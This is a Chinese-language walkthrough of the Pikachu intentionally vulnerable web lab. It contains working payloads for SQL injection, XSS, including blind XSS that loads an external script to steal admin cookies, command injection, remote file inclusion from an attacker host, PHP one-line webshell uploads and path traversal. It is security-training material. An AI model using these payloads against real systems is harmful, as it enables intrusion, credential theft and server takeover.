Pikachu靶场通关记录(详细)

打印 上一主题 下一主题

主题 876|帖子 876|积分 2628

Pikachu靶场通关记录

0x01 靶场介绍

Pikachu是一个带有漏洞的Web应用系统,在这里包罗了常见的web安全漏洞。 如果你是一个Web排泄测试学习人员且正发愁没有合适的靶场进行训练,那么Pikachu大概正合你意。
0x02 漏洞类型



  • Burt Force(暴力破解漏洞)
  • XSS(跨站脚本漏洞)
  • CSRF(跨站请求伪造)
  • SQL-Inject(SQL注入漏洞)
  • RCE(远程命令/代码执行)
  • Files Inclusion(文件包罗漏洞)
  • Unsafe file downloads(不安全的文件下载)
  • Unsafe file uploads(不安全的文件上传)
  • Over Permisson(越权漏洞)
  • …/…/…/(目录遍历)
  • I can see your ABC(敏感信息泄漏)
  • PHP反序列化漏洞
  • XXE(XML External Entity attack)
  • 不安全的URL重定向
  • SSRF(Server-Side Request Forgery)
0x03 WriteUP

暴力破解

“暴力破解”是一攻击具手段,在web攻击中,一般会利用这种手段对应用系统的认证信息进行获取。 其过程就是利用大量的认证信息在认证接口进行尝试登录,直到得到精确的结果。 为了进步服从,暴力破解一般会利用带有字典的工具来进行自动化操作。
理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的盘算本领和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有接纳或者接纳了比力弱的认证安全策略,导致其被暴力破解的“大概性”变的比力高。 这里的认证安全策略, 包罗:
1.是否要求用户设置复杂的暗码;
2.是否每次认证都利用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
3.是否对尝试登录的行为进行判断和限定(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
4.是否接纳了双因素认证;
…等等。
万万不要小看暴力破解漏洞,每每这种简单粗暴的攻击方式带来的效果是超出预期的!

基于表单的暴力破解


开启burp抓包,输入admin和恣意暗码点击登录,将请求包发送至Intruder模块中

加载暗码字典

爆破乐成,用户名admin 暗码123456


验证码绕过(on server)


这一关需要设置下burp的MIME type过滤器,将Images勾选上


在HTTP History 中可以看到以下请求,每次革新验证码时会向服务端发送请求,相应包中Set-Cookie会将新的验证码返回到前端,我们可以利用这个逻辑漏洞进行暴力破解
  1. http://192.168.0.109/inc/showvcode.php
复制代码

此时前端表现的验证码确定就是相应包中返返来的值

要利用这个逻辑漏洞需要利用burp上的Macros功能,菜单路径如下:
Project options → Sessions → Macros
点击Add,选中验证码革新的请求包,点击OK


点击Configure item


输入参数名vcode(注意此处的参数名必须要与进行更换的请求包中的参数名雷同),然后利用鼠标选中Set-Cookie中的验证码,点击OK



然后点击Session Handling Rules功能的Add,设置Macro的生效范围




此处可以只设置Intruder为生效范围,然后添加URL Scope设置仅对指定的URL应用Macros规则



设置好之后,同样的将登岸请求包发送至Intruder模块,设置暗码字典进行爆破,此时通过Intruder模块发送出去的每个请求包的vcode值都会自动革新获取并带入到请求包中


爆破乐成,用户名admin 暗码123456
   如果爆破失败 请重新抓取登录请求包发送到Intruder模块进行爆破
  

本关测试结束后记得将该Session规则关闭


验证码绕过(on client)


本关的验证码是前端JS生成,且仅在前端进行校验,只需要输入一次精确的验证码抓到请求包后将验证码删除即可重复发送登岸请求进行爆破


将验证码参数设置为空发送请求依然能进行账号暗码校验,服务端正常返回信息

接下来照旧老规则将请求包发送到Intruder模块中进行爆破即可

token防爆破?


第一种方式:利用Macros
本关在登录时参加了CSRF token机制,Token生存在该页面的前端代码中,本关的利用方式与验证码绕过(on server)的雷同,利用Macros获取前端页面的token值然后带入到之后的登录请求包中即可完成暴力破解

新建一个Macros宏



设置会话处理规则(Session Handling Rules)




然后将登岸请求包发送至Intruder模块中加载暗码字典进行爆破即可



第二种方式:利用Intruder的recursive grep
将请求包发送至Intruder模块,由于现在需要同时爆破password和token字段,所以我们此处的Attack type攻击模式要设置成Pitchfork

  payload设置:
payload 1直接加载暗码字典

payload 2需要设置递归搜刮(token)

   recursive grep,就是从上一次的相应结果中,取得部分特定内容作为下次请求的Payload的模式
   按照提示在Options → Grep - Extract处设置递归选取的内容:


另外涉及递归与重定向,线程数设置为1,重定向选项设置为always

老版本的burp线程设置方式如下


然后回到payload页面点击开始爆破即可


XSS (Cross-Site Scripting)

Cross-Site Scripting 简称为“CSS”,为制止与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端欣赏器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的重要原因是步伐对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被欣赏器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会接纳“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不答应大概导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

反射型xss(get)


输入123 并查看前端代码,123加载到了p标签中

尝试直接插入xss payload,由于是Get的请求方式并且文本框设置了maxlength(文本最大长度限定),所以我们可以在URL中直接插入xss payload触发漏洞,以下payload均可触发:
  1. <script>alert(/1/)</script>
  2. <details+open+ontoggle=prompt(1)>
  3. <svg/onload=confirm(1)>
  4. ...
复制代码

查看前端代码,xss payload被插入到了p标签当中


反射性xss(post)


本关需要先输入账号暗码登岸
用户名admin 暗码 123456
登录乐成后在文本框中输入123点击submit,页面仍会将123表现到前端页面中,只是请求方式变成了POST


接下来开启burp抓包,然后输入123点击submit,然后将请求包的message修改为xss的payload并放包


查看前端代码,xss payload被插入p标签中


存储型xss


存储型xss顾名思义也就是我们输入的内容会被存储到数据库中,当用户访问时页面会将数据库的查询结果表现到页面上
同样的本关可以直接在多行文本框中输入xss payload点击submit提交即可触发xss
  1. <svg/οnlοad=confirm(1)>
复制代码



DOM型xss


DOM XSS的XSS代码并不需要服务器解析相应的直接参与,触发XSS靠的就是欣赏器端的DOM解析,可以认为完满是客户端的事变,无法通过WAF防护。
js中,从url中获得参数并将其作为js执行,就有大概导致DOM XSS
本关我们输入123后,点击click me下面表现出来what do you see?,我们查看前端代码发现123直接赋值给了a标签的href,这就导致了xss漏洞产生

此时我们可以直接利用以下payload触发xss
  1. javascript:alert(1)
复制代码

提交之后鼠标点击a链接即可触发xss


DOM型xss-x


本关利用的payload与上一关雷同
  1. javascript:alert(1)
复制代码


查看前端代码


xss之盲打


XSS盲打不是一种漏洞类型而是一种xss漏洞的利用方式,攻击者可以在网站留言板、反馈建议等功能点提交恶意的xss payload,如果该网站存在xss漏洞,当管理员在背景查看用户留言页面时就会执行xss payload,xss盲打最重要的目的是通过加载外部的恶意js文件(通过xss盲打平台生成)获取管理员背景的Cookie信息,攻击者就可以利用管理员的身份访问网站背景从而进一步发动攻击
起首将xss payload填入文本框并提交

点击右上角的提示信息,获取到管理背景的地址/vul/xss/xssblind/admin_login.php

输入账号暗码进行登录 admin 123456


查看前端代码,刚刚提交的xss payload被插入到td标签中执行了

接下来演示下利用xss盲打平台生成恶意的js进行远程加载获取管理员的cookie信息
   本次利用的xss盲打平台:http://xsscom.com/
  注册好账号后 点击创建项目,输入恣意项目名称点击下一步

根据现实情况进行勾选即可,这里我勾选默认模块、xss.js,然后点击下一步

在项目代码中可以复制下方的payload直接插入利用


提交之后我们再去以管理员身份去访问下用户反馈的意见列表

查看此处的前端代码,可以看到xss盲打平台的js文件已经被加载了

现在我们可以回到xss盲打平台查看接收到的信息,可以看到已经获取到了背景的URL和用户的Cookie等信息,此时攻击者就可以直接更换Cookie信息去访问管理背景了,这就是完整的xss盲打的利用流程


xss之过滤


本关已经明确有过滤存在了,现在我来直接来黑盒测试下它的过滤规则是怎样的
起首输入<>发现可以正常打印出来,没有被过滤

然后输入<script>再次提交,发现只剩下了右括号,别的内容都被过滤掉了

判断对<script进行匹配如果发现存在则直接变为空
此时我们可以尝试利用双写关键词的方式进行绕过<scrscriptipt>发现无法绕过

再尝试利用关键词巨细写的方式进行绕过<ScRiPt>,发现插入乐成,也就是绕过了它的过滤机制


接下来就编写xss payload <ScRiPt>alert(1)</ScRiPt>,提交之后即可触发



xss之htmlspecialchars

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
  1. 预定义的字符是:
  2. &(和号) 成为&amp;
  3. " (双引号) 成为 &quot;
  4. ' (单引号) 成为 &apos;
  5. < (小于) 成为 &lt;
  6. > (大于) 成为 &gt;
复制代码
htmlspecialchars默认不对'进行处理,所以此处我们的payload可以设置为123' onclick='alert(1)'



xss之href输出


本关可以直接利用javascript:alert(1)

进行触发,payload被加载到a标签的href属性中,点击即可触发



xss之js输出


根据提示信息输入tmac即可加载出相干球星的照片

接下来查看网页源代码,发现是通过$ms传递参数,我们可以尝试进行闭合并触发xss

输入payloadtmac';alert(1);//即可触发



CSRF

CSRF(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目的用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清晰CSRF的概念,甚至偶然间会将其和XSS肴杂,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清晰导致的。这里列举一个场景表明一下,盼望可以或许资助你理解。场景需求: 小黑想要修改明白在购物网站tianxiewww.xx.com上填写的会员地址。先看下明白是如何修改自己的暗码的: 登录—修改会员信息,提交请求—修改乐成。所以小黑想要修改明白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是明白又不会把自己xxx网站的账号暗码告诉小黑,那小黑怎么办?于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】于是,他实行了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作可以或许实现呢。有如下几个关键点: 1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;—因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如暗码等敏感信息)的操作(增删改)是否容易被伪造。2.小白点击了小黑发给的链接,并且这个时间小白刚好登录在购物网上;—如果小白安全意识高,不点击不明链接,则攻击不会乐成,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会乐成。—因此,要乐成实行一次CSRF攻击,需要“天时,地利,人和”的条件。当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑大概会这样做: 欺骗小白访问匿伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的背景,小黑自己修改小白的相干信息。—所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实行破坏。
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实行对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
–对敏感信息的操作增加安全的token;
–对敏感信息的操作增加安全的验证码;
–对敏感信息的操作实行安全的逻辑流程,比如修改暗码时,需要先校验旧暗码等。
如果你没有读太明白,不要夷由,请再读一遍啦

CSRF(get)


提示:这里一共有这么些用户vince/allen/kobe/grady/kevin/lucy/lili,暗码全部是123456
这里我们利用vince登录后,页面表现了用户的个人信息,下方有一个修改个人信息

点击之后打开了修改个人信息页面,我们将手机号修改为18888888888,开启burp抓包并点击submit按钮


此时我们利用burp直接生成CSRF Poc代码,右键请求包 → Engagement tools → Generate CSRF PoC

点击 Test in browser

复制弹出的URL链接,在欣赏器中打开

现在先不要点击Submit request按钮

然后将当前请求包Drop掉,关闭burp拦截

重新访问漏洞页面,由于我们刚才drop掉了请求包,所以现在的手机号与刚才是雷同的没有被修改
  1. http://192.168.0.103/vul/csrf/csrfget/csrf_get_edit.php
复制代码

现在我们去点击burp生成的CSRF Poc页面中的submit按钮

点击之后页面跳转至个人信息页面,并且手机号已经发生了改变,正常情况下这个CSRF Poc的页面是攻击者生成的,然后发送给受害者进行点击,然后攻击者就可以利用受害者的正当的身份去访问网站(比如修改暗码、修改个人信息等)。


CSRF(post)


本关的漏洞利用方式与上一关雷同,只是请求方式发生了改变,此处不再赘述


CSRF Token


修改个人信息时发现会携带token一起发送,并且会在当前页面的前端代码中生成新的token值

构造一般的PoC肯定不可,本关需要利用burp的插件 CSRF Token Tracker,在Extender里面下载:
   CSRF Token Tracker 可以自动获取 csrf 的 token,对于一些有 csrf 限定的请求,它可以绕过该限定,如暴力破解具有 csrf token 的登录请求,在排泄测试过程中CSRF Token的自动更新。
  

这里代表token的变量名字就叫token,在插件中添加一条规则:

将上文的数据包发送到Repeater,将手机号修改为13333333333发送数据包,查看能否修改
发送请求包后页面出现重定向按钮,我们点击follow跟随跳转

此时相应包中的手机号已经修改乐成了



SQL-Inject

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,大概会直接导致一家公司破产! SQL注入漏洞重要形成的原因是在数据交互中,前端的数据传入到背景处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不答应伤害字符传入;
2.利用参数化(Parameterized Query 或 Parameterized Statement);
3.另有就是,目前有很多ORM框架会自动利用参数化办理注入问题,但其也提供了"拼接"的方式,所以利用时需要慎重!
   本章节不再详细描述SQL注入的过程,如果想深入学习sql注入漏洞,可以参考sqli-labs的那篇文章
  
数字型注入


利用burp开启抓包,选择1点击查询按钮,相应包中出现了mysql报错信息


直接利用报错注入的payload即可
  1. id=1 正常显示
  2. id=1' 提示mysql报错
  3. id=1 and 1=1 页面显示正常
  4. id=1 and 1=2 页面显示错误
  5. 判断为mysql数据库的数字型注入点
  6. 使用以下payload获取数据库名称:
  7. 1+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)+--+
复制代码




字符型注入


本关也是同样的 起首判断是字符型照旧数字型,然后获取数据库名称
  1. name=123 页面显示正常
  2. name=123' mysql报错提示
  3. name=123'' 页面显示正常,判断为字符型注入
  4. name=123' order by 3 --+ 判断查询字段有2列
  5. name=123' union select 1,2 --+ 页面显示结果uid为1,email为2
  6. name=123' union select database(),version() --+ 使用union联合注入获取数据库名和数据库版本信息
复制代码



页面表现结果uid为1,email为2

利用union联合注入获取数据库名和数据库版本信息


搜刮型注入


参加单引号后出现了报错,并且根据报错信息我们推断此处代码闭合方式为%username%

所以此处我们需要在单引号前参加%来闭合 (此处闭不闭合%其实都能注入乐成)
  1. 123' 页面报错
  2. 123%'' 页面不报错
  3. 123%' order by 4 --+ 页面提示没有4列,所以此处查询的sql有3列
  4. 123%' union select 1,2,3 --+ 判断显示位,此处3列都能显示
  5. 123%' union select database(),version(),user() --+ 获取当前数据库名称、版本信息、用户信息
复制代码



xx型注入


  1. 123' 提示mysql报错信息
  2. 123' order by 1 --+ 还是报错,根据报错信息判断123后面应该有个右括号需要闭合一下
  3. 123') order by 3 --+ 执行成功,判断查询的内容有2列
  4. 123') union select database(),version() --+ 使用union联合查询获取数据库名称和版本信息
复制代码




insert/update 注入

   注意:此类型注入在现实测试中只管不要利用,操作不当大概会导致数据库插入大量脏数据!!!
  

起首在注册功能点输入恣意内容,并在最后一个参数后面参加单引号,发现出现了sql语句报错,注意 这种insert/update类型的sql在进行注入时只管在最后一个参数插入payload进行注入,这样可以更容易闭合sql语句完成注入,像本关的这个insert语句我们直接就在住址(Add)这个参数进行注入,闭合前面的sql只需要参加'$payload)(前后分别参加单引号和右括号)
  1. 本关的SQL语句:
  2. insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')
复制代码


接下来获取数据库信息,利用以下payload
  1. '+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1))+--+
复制代码

获取数据库版本信息
  1. '+and+updatexml(1,concat(0x7e,(select+version()),0x7e),1))+--+
复制代码

然后尝试利用刚注册的123账号进行登录,可以登录乐成


delete注入


添加恣意语句并点击删除按钮,利用burp进行抓包


将该请求发送至repeater模块中进行测试,给参数id添加单引号,发现相应包会出现sql报错

本关的sql语句,由于id为数字所以在注入时无需利用单引号进行闭合
  1. if(array_key_exists(**'id'**, $_GET)){
  2.   $query = "delete from message where id = {$$_GET['id']}";
  3.   ...}
复制代码
本关照旧利用报错注入的payload,如下所示
  1. 59+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)
复制代码


http header 注入


输入账号暗码admin 123456点击登录
登录后可以看到header的ua和accept等信息被展示出来了,此处我们可以尝试去注入

本关的sql语句如下:直接获取前端过来的头信息,没有任何处理就存储到数据库中了

接下来我们尝试进行注入,在user agent内容后参加单引号发现报错,路径如下
  1. /vul/sqli/sqli_header/sqli_header.php
复制代码

利用以下payload获取数据库信息
  1. 1'and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)+--+'
复制代码


盲注(base on boolian)

   布尔盲注就是推测,根据页面返回的true和flase猜数据库总数,猜数据库长度,猜数据库名字,猜数据库长度,猜数据库内容,然后就是猜表和字段。盲注最快的方法就是用工具跑。
  

输入123可以查到该用户存在并返回uid和email,输入1则提示用不存在,判断此处大概存在布尔盲注


利用以下payload进行注入,利用以下sql payload根据页面返回的信息(用户存在/不存在,即true/false)来判断数据库名的长度,注意此处的123用户为真实存在的,如果利用不存在的用户利用此payload无法获得精确的结果
  1. 123'and length(database())=7%23
  2. URL解码后:
  3. 'and length(database())=7#
  4. # 注意最后的#必须使用URL编码
复制代码
当长度等于6时,页面提示username不存在

当长度等于7时,页面表现了用户的uid和email,所以判断数据库名的长度为7

接下来利用burp爆破完整数据库名称,利用以下payload
  1. 123' and substr(database(),1,1)='a' --+
复制代码

设置长度1-10

设置要爆破的字符a-z和_

然后点击右上角的开始攻击,按照次序拼写得到pikachu


盲注(base on time)


本关的sql语句:

输入恣意内容点击查询都会提示i don't care who you are!所以我们这里可以通过时间盲注进行测试,根据返回包的相应时间判断注入的sql语句有没有被执行,利用以下payload判断是否存在时间盲注
  1. # 当数据库名称的长度大于1时,则执行sleep(6)休眠6秒返回结果
  2. ' and if(length(database())>1,sleep(6),1) --+
复制代码
未插入payload时相应时间为11毫秒

插入payload且条件成立的情况下相应时间为20秒(延迟了输入时间的1倍),证明此处存在时间盲注

接下来判断长度,当length大于6时执行了延迟(true),而当length大于7时直接返回了结果没有执行延迟(false),这就证明数据库名的长度等于7


接下来进行爆破数据库名称
  1. '+and+if(substr(database(),1,1)='p',sleep(3),1)+--+
复制代码
本关的爆破方式与布尔盲注雷同,将请求包发送至Intruder模块进行爆破即可,当执行结果为true时也会进行sleep延时


宽字节注入(wide byte注入)


宽字节注入是通过编码绕过后端代码的防御措施,列如正则过滤和转义函数转义。
客户端接纳GBK编码格式,数据库对用户输入进行转义\ ,转移符\的编码为%5c,添加编码%df,组成%df%5c,此时编码表达为繁体字連,从而绕过转义符让'逃逸。
利用以下payload进行sql注入,判断存在宽字节注入
  1. kobe%df'+or+1=1+--+
复制代码

接下来利用order by判断sql中查询的列数
  1. kobe%df%27+order+by+2+--+ 页面未报错
  2. kobe%df%27+order+by+3+--+ 页面报错,判断有2列
复制代码


接下来利用union联合查询获取数据库名和版本号
  1. kobe%df%27+union+select+database(),version()+--+
复制代码


RCE

RCE(remote command/code execute)概述
RCE漏洞,可以让攻击者直接向背景服务器远程注入操作系统命令或者代码,从而控制背景系统。
远程系统命令执行
一般出现这种漏洞,是由于应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目的IP,提交后,背景会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则大概会导致攻击者通过该接口提交“意想不到”的命令,从而让背景进行执行,从而控制整个背景服务器
现在很多的甲方企业都开始实行自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上每每会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会故意想不到的"劳绩"- _-
远程代码执行
同样的道理,由于需求设计,背景偶然间也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是利用了代码执行的函数,照旧利用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实行严格的白名单策略会是一个比力好的方法。

exec “ping”


本关代码:直接将变量拼接进来,没做处理

我们先输入127.0.0.1然后ping一下试试,可以正常返回ping命令的结果

接下来进行漏洞利用,尝试拼接命令
  1. 127.0.0.1&&whoami
复制代码

  1. 127.0.0.1&&dir
复制代码


exec “eval”


本关代码分析:这里直接用eval执行了post传递过来的txt的值

本关有多种利用方式,比如直接输入phpinfo();


本关的代码其实就是个一句话木马了eval($_POST['txt'],我们甚至可以直接利用蚁剑进行连接:),配置如下:






File Inclusion

File Inclusion(文件包罗漏洞)概述
文件包罗,是一个功能。在各种开发语言中都提供了内置的文件包罗函数,其可以使开发人员在一个代码文件中直接包罗(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包罗函数,这些函数在代码设计中被常常利用到。 大多数情况下,文件包罗函数中包罗的代码文件是固定的,因此也不会出现安全问题。 但是,有些时间,文件包罗的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则大概会引发文件包罗漏洞。 攻击着会指定一个“意想不到”的文件让包罗函数去执行,从而造成恶意操作。
根据不同的配置情况,文件包罗漏洞分为如下两种情况:
1.本地文件包罗漏洞: 仅可以或许对服务器本地的文件进行包罗,由于服务器上的文件并不是攻击者所可以或许控制的,因此该情况下,攻击着更多的会包罗一些 固定的系统配置文件,从而读取系统敏感信息。很多时间本地文件包罗漏洞会结合一些特别的文件上传漏洞,从而形成更大的威力。
2.远程文件包罗漏洞: 可以或许通过url地址对远程的文件进行包罗,这意味着攻击者可以传入恣意的代码,这种情况没啥好说的,预备挂彩。
因此,在web应用系统的功能设计上只管不要让前端用户直接传变量给包罗函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

File Inclusion(local)


由于搭建本靶场利用的是Windows系统,所以本关可以利用本地文件包罗漏洞包罗一些Windows系统中的敏感文件,比如hosts文件,直接将URL中的filename的值修改为以下路径即可
  1. ..\..\..\..\..\..\windows\system32\drivers\etc\hosts
复制代码




File Inclusion(remote)


allow_url_include = Off 是否答应include/require打开URL(如http://或ftp://)作为文件处理。
注意:从PHP5.2开始allow_url_include就默认为Off了
这里我们需要修改下php.ini配置文件,生存后重启Apache服务

再次访问已经正常了

由于本关是远程文件包罗,所以这里我们需要预备一台攻击机,在这台攻击机上创建以下php文件
  1. <?php phpinfo();?>
复制代码

然后利用python启动http服务
  1. python3 -m http.server 8080
复制代码

此时将攻击机php文件的URL粘贴到filename的参数中,访问后乐成表现了phpinfo的页面
  1. filename=http://192.168.0.106:8080/a.php
复制代码


Unsafe Filedownload

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向背景发送一个下载请求,一般这个请求会包罗一个需要下载的文件名称,背景在收到请求后 会开始执行下载代码,将该文件名对应的文件response给欣赏器,从而完成下载。 如果背景在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则大概会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个步伐预期的的文件名,而是一个精心构造的路径(比如…/…/…/etc/passwd),则很有大概会直接将该指定的文件下载下来。 从而导致背景敏感信息(暗码文件、源代码等)被下载。
所以,在设计文件下载功能时,如果下载的目的文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 牢记:所有与前端交互的数据都是不安全的,不能掉以轻心!

根据提示信息已知点击球员名字即可下载头像图片

这里可以利用burp看下下载的请求包内容,此处传入了图片的文件名然后进行下载

本关我们仍然可以将filename设置为hosts文件的路径,然后进行下载
  1. ..\..\..\..\..\..\windows\system32\drivers\etc\hosts
复制代码


Unsafe Fileupload

不安全的文件上传漏洞概述
文件上传功能在web应用系统很常见,比如很多网站注册的时间需要上传头像、上传附件等等。当用户点击上传按钮后,背景会对上传的文件进行判断 比如是否是指定的类型、后缀名、巨细等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说背景对上传的文件没有进行任何的安全判断或者判断条件不敷严谨,则攻击着大概会上传一些恶意的文件,比如一句话木马,从而导致背景服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
–验证文件类型、后缀名、巨细;
–验证文件的上传方式;
–对文件进行一定复杂的重命名;
–不要暴露文件上传后的路径;
–等等…

client check


本关由于是前端校验,所以可以直接右键查看网页源代码中js的判断逻辑

本关有两种方式进行绕过:
第一种是直接利用网页插件禁用JS然后进行上传
比如 Chrome欣赏器的Quick Javascript Switcher插件,关闭JS后

点击选择文件,这里我们直接上传php一句话木马
  1. <?php @eval($_POST[a]);?>
复制代码



然后利用蚁剑进行连接
  1. /vul/unsafeupload/uploads/a.php
复制代码


第二种先上传个正常的图片文件然后开启burp抓包修改内容和后缀完成上传,这里就不做演示了。

  

MIME type


本关检测了MIME type文件上传类型,本关只需要将上传请求的Conten-Type改为图片类型即可完成上传
起首上传了一张图片,可以看到Conten-Type为image/png

然后将该请求包发送至Repeater模块中 将内容修改为一句话木马,将文件后缀改为php然后发送请求

利用蚁剑进行连接



getimagesize

PHP中的getimagesize()函数是一个内置函数,用于获取图像的巨细。Getimagesize()返回结果中有文件巨细和文件类型,如果用这个函数来获取类型,从而判断是否是图片的话,会存在问题。

本关需要上图片马并且需要配合本地文件包罗漏洞来进行利用
图片马制作:
方法1:直接伪造头部GIF89A
方法2:CMD:copy /b c.png + a.php test.png Linux/Mac:cat a.php >> c.png
方法3:利用GIMP(开源的图片修改软件),通过增加备注,写入执行命令
制作乐成的图片马:

然后将该图片上传到服务器
  1. 图片保存的路径:unsafeupload/uploads/2022/10/30/830731635e401cf26d1112088349.png
复制代码

然后需要利用本地文件包罗漏洞进行漏洞利用
  1. http://192.168.0.103/vul/fileinclude/fi_local.php?filename=..\..\unsafeupload\uploads\2022\10\30\830731635e401cf26d1112088349.png&submit=%E6%8F%90%E4%BA%A4
复制代码

然后利用蚁剑进行连接


Over Permission

如果利用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果可以或许乐成操作,则称之为越权操作。 越权漏洞形成的原因是背景利用了 不公道的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,背景需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出相应,而如果校验的规则过于简单则容易出现越权漏洞。
因此,在在权限管理中应该遵守:
1.利用最小权限原则对用户进行赋权;
2.利用公道(严格)的权限校验规则;
3.利用背景登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

水平越权


点击右上角提示得到如下三个账号
  1. lucy/123456
  2. lili/123456
  3. kobe/123456
复制代码
登录lucy账号,点击查看个人信息


此处将url中的username参数修改为lili,此时页面表现的个人信息就变成了该用户的信息,实现了平行越权。
  1. http://192.168.0.103/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
复制代码


垂直越权


根据提示得知,本关有两个用户admin/123456,pikachu/000000,其中admin是超级boss权限
起首分别登录admin和pikachu对比两个用户的权限差异,发现admin管理员比pikachu用户多了添加用户、删除用户的权限
pikachu用户登录后的界面:

admin用户登录后的界面:

利用admin用户进行登录,访问添加用户界面,获得以下URL,然后点击退出登录
  1. /vul/overpermission/op2/op2_admin_edit.php
复制代码

接下来利用pikachu用户登录系统

登录之后直接将刚刚得到的添加用户的URL粘贴到地址栏进行访问,发现可以正常访问

接下来尝试新建个账号kk/123456

创建乐成后登录管理员账号查看用户列表,发现已经添加乐成了,此处就利用了垂直越权的漏洞创建了新用户。


…/…/

在web功能设计中,很多时间我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到背景,背景再执行其对应的文件。 在这个过程中,如果背景没有对前端传进来的值进行严格的安全考虑,则攻击者大概会通过“…/”这样的手段让背景打开或者执行一些其他的文件。 从而导致背景服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。
看到这里,你大概会觉得目录遍历漏洞和不安全的文件下载,甚至文件包罗漏洞有差不多的意思,是的,目录遍历漏洞形成的最重要的原因跟这两者一样,都是在功能设计中将要操作的文件利用变量的 方式传递给了背景,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的征象不一样,因此,这里照旧单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄漏。 而并不归为目录遍历漏洞。(关于敏感信息泄漏你你可以在"i can see you ABC"中了解更多)

目录遍历


本关在点击a链接后页面回将该文件的内容表现在页面中

本关我们也可以去包罗hosts文件,如果靶场为linux系统则可以去包罗/etc/passwd、/etc/shadow等文件
  1. ..\..\..\..\..\..\windows\system32\drivers\etc\hosts
复制代码


敏感信息泄漏

由于背景人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
